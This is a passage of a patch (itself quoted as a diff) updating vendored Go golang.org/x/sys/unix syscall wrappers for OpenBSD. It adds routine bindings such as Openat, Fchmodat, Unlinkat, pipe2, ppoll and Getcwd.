-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -561,6 +624,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -571,6 +649,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -602,6 +695,21 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatfs(fd int, stat *Statfs_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
-@@ -712,6 +820,17 @@ func Getrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getrtable() (rtable int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_GETRTABLE, 0, 0, 0)
-+ rtable = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getrusage(who int, rusage *Rusage) (err error) {
- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
-@@ -815,6 +934,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -855,6 +994,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -870,6 +1024,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -885,6 +1054,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -911,6 +1095,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1000,6 +1200,28 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p1 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1020,6 +1242,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1061,8 +1303,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1186,6 +1429,16 @@ func Setrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Setrtable(rtable int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRTABLE, uintptr(rtable), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setsid() (pid int, err error) {
- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
- pid = int(r0)
-@@ -1267,6 +1520,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1315,6 +1588,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go
-index 0d69ce6b..67f93ee7 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -openbsd -tags openbsd,amd64 syscall_bsd.go syscall_openbsd.go syscall_openbsd_amd64.go
-+// go run mksyscall.go -openbsd -tags openbsd,amd64 syscall_bsd.go syscall_openbsd.go syscall_openbsd_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build openbsd,amd64
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -376,7 +360,7 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-+func Getdents(fd int, buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -393,6 +377,60 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -524,6 +562,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -531,6 +579,21 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -561,6 +624,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -571,6 +649,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -602,6 +695,21 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatfs(fd int, stat *Statfs_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
-@@ -712,6 +820,17 @@ func Getrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getrtable() (rtable int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_GETRTABLE, 0, 0, 0)
-+ rtable = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getrusage(who int, rusage *Rusage) (err error) {
- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
-@@ -815,6 +934,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -855,6 +994,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -870,6 +1024,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -885,6 +1054,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -911,6 +1095,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1000,6 +1200,28 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p1 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1020,6 +1242,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1061,8 +1303,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
